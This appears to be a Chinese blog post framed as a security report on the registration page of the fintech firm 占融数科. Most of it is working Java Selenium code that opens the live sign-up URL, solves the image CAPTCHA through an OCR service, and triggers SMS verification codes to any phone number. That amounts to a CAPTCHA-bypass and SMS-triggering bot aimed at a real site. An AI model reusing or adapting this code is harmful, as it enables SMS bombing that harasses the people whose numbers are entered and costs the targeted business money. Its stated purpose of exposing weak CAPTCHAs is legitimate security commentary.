【占融数科-注册/登录安全分析报告】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞

    所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 占融数科PC 注册入口

简介:占融数科(占融数科)成立于2025年之前,核心定位为数字金融服务平台,服务对象包括银行、持牌消费金融公司、保险公司等金融机构。其业务覆盖智能营销、风控、贷中监控、贷后管理等全流程,并提供资产对接、系统实施等配套服务。

安全分析:

采用传统的图形验证码方式,具体为4个英文及数字,ocr 识别率在 95% 以上。

测试方法:

采用模拟器+OCR识别

1 模拟器交互部分

java 复制代码
private OcrClientDddd ddddOcr = new OcrClientDddd();
	private static String INDEX_URL = "https://zhanrong.rong360.com/site/index/register";

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		RetEntity retEntity = new RetEntity();
		try {
			driver.get(INDEX_URL);
			Thread.sleep(1 * 1000);

			// 1 输入手机号
			Thread.sleep(1 * 1000);
			WebElement phoneElement = ChromeUtil.waitElement(driver, By.xpath("//input[@placeholder='联系电话']"), 1);
			phoneElement.sendKeys(phone);
			// 2 获取图形验证码
			// 2 获取图形验证码
			String imgCode = null;
			WebElement imgElement;
			byte[] imgByte;
			StringBuffer imgCodeList = new StringBuffer();
			for (int i = 0; i < 10; i++) {
				imgElement = driver.findElement(By.xpath("//img[contains(@src,'/account/vcode?v=')]"));
				String url = imgElement.getAttribute("src");
				imgByte = GetImage.callJsByUrl(driver, url);
				int len = (imgByte != null) ? imgByte.length : 0;
				imgCode = (len > 500) ? ddddOcr.getImgCode(imgByte) : null;
				if (imgCode == null || imgCode.length() != 4) {
					((JavascriptExecutor) driver).executeScript("arguments[0].click();", imgElement);
					Thread.sleep(1000);
					// 记录尝试次数及解析验证码
					if (imgCodeList.length() > 0)
						imgCodeList.append(",");
					imgCodeList.append(i + ":" + imgCode);
					continue;
				}
				break;
			}
			if (imgCode == null || imgCode.length() != 4) {
				retEntity.setMsg(imgCodeList.toString());
				return retEntity;
			}

			// 3 输入识别出来的图形验证码
			WebElement inputVcodeElement = driver.findElement(By.xpath("//input[@placeholder='图形验证码']"));
			inputVcodeElement.sendKeys(imgCode);

			// 4 点击获取验证码
			Thread.sleep(1 * 1000);
			WebElement sendElement = driver.findElement(By.xpath("//button/span[contains(text(),'获取验证码')]"));
			sendElement.click();

			Thread.sleep(1 * 1000);
			String gtInfo = sendElement.getText();
			retEntity.setMsg("imgCode:" + imgCode + "->" + gtInfo);
			if (gtInfo != null && gtInfo.contains("s后重新获取")) {
				retEntity.setRet(0);
				return retEntity;
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println("phone=" + phone + ",e=" + e.toString());
			for (StackTraceElement ele : e.getStackTrace()) {
				System.out.println(ele.toString());
			}
			return null;
		} finally {
			driver.manage().deleteAllCookies();
		}
	}

2 获取图形验证码

java 复制代码
public String getImgCode(byte[] bigImage) {
		try {
			if (ddddUrl == null) {
				System.out.println("getImgCode() ddddUrl=" + ddddUrl);
				return null;
			}
			int len = (bigImage != null) ? bigImage.length : -1;
			if (len < 0) {
				System.out.println("getImgCode() len=" + len);
				return null;
			}

			long time = (new Date()).getTime();
			HttpURLConnection con = null;
			String boundary = "----------" + String.valueOf(time);
			String boundarybytesString = "\r\n--" + boundary + "\r\n";
			OutputStream out = null;

			URL u = new URL(ddddUrl);
			con = (HttpURLConnection) u.openConnection();
			con.setRequestMethod("POST");
			con.setConnectTimeout(10 * 1000);
			con.setReadTimeout(10 * 1000);
			con.setDoOutput(true);
			con.setDoInput(true);
			con.setUseCaches(true);
			con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);
			out = con.getOutputStream();
			out.write(boundarybytesString.getBytes("UTF-8"));
			String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";
			paramString += "Content-Type: application/octet-stream\r\n\r\n";
			out.write(paramString.getBytes("UTF-8"));
			out.write(bigImage);

			String tailer = "\r\n--" + boundary + "--\r\n";
			out.write(tailer.getBytes("UTF-8"));
			out.flush();
			out.close();

			StringBuffer buffer = new StringBuffer();
			BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));
			String temp;
			while ((temp = br.readLine()) != null) {
				buffer.append(temp);
			}
			String ret = buffer.toString();
			if (ret.length() < 1) {
				System.out.println("getImgCode() ddddUrl=" + ddddUrl + ",len=" + len + "->ret=" + buffer.toString());
			}
			return buffer.toString();
		} catch (Throwable e) {
			logger.error("getImgCode() ddddUrl=" + ddddUrl + ",e=" + e.toString());
			return null;
		}
	}

3 测试返回结果:

4 测试报告 :

二丶结语

占融数科(占融数科)成立于2025年之前,核心定位为数字金融服务平台,服务对象包括银行、持牌消费金融公司、保险公司等金融机构。其业务覆盖智能营销、风控、贷中监控、贷后管理等全流程,并提供资产对接、系统实施等配套服务。

作为金融风控服务商,技术实力雄厚, 采用的却还是老一代的图形验证码已经落伍了, 用户体验一般,容易被破解, 一旦被国际黑客发起攻击,将会对老百姓形成骚扰,影响声誉。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。

比如:" 需求这么赶,当然是先实现功能啊 "," 业务量很小啦,系统就这么点人用,不怕的 " , " 我们怎么会被盯上呢,不可能的 "等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

相关推荐
用户962377954488 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机11 小时前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机11 小时前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户9623779544812 小时前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star12 小时前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户9623779544816 小时前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行5 天前
网络安全总结
安全·web安全
red1giant_star5 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透5 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全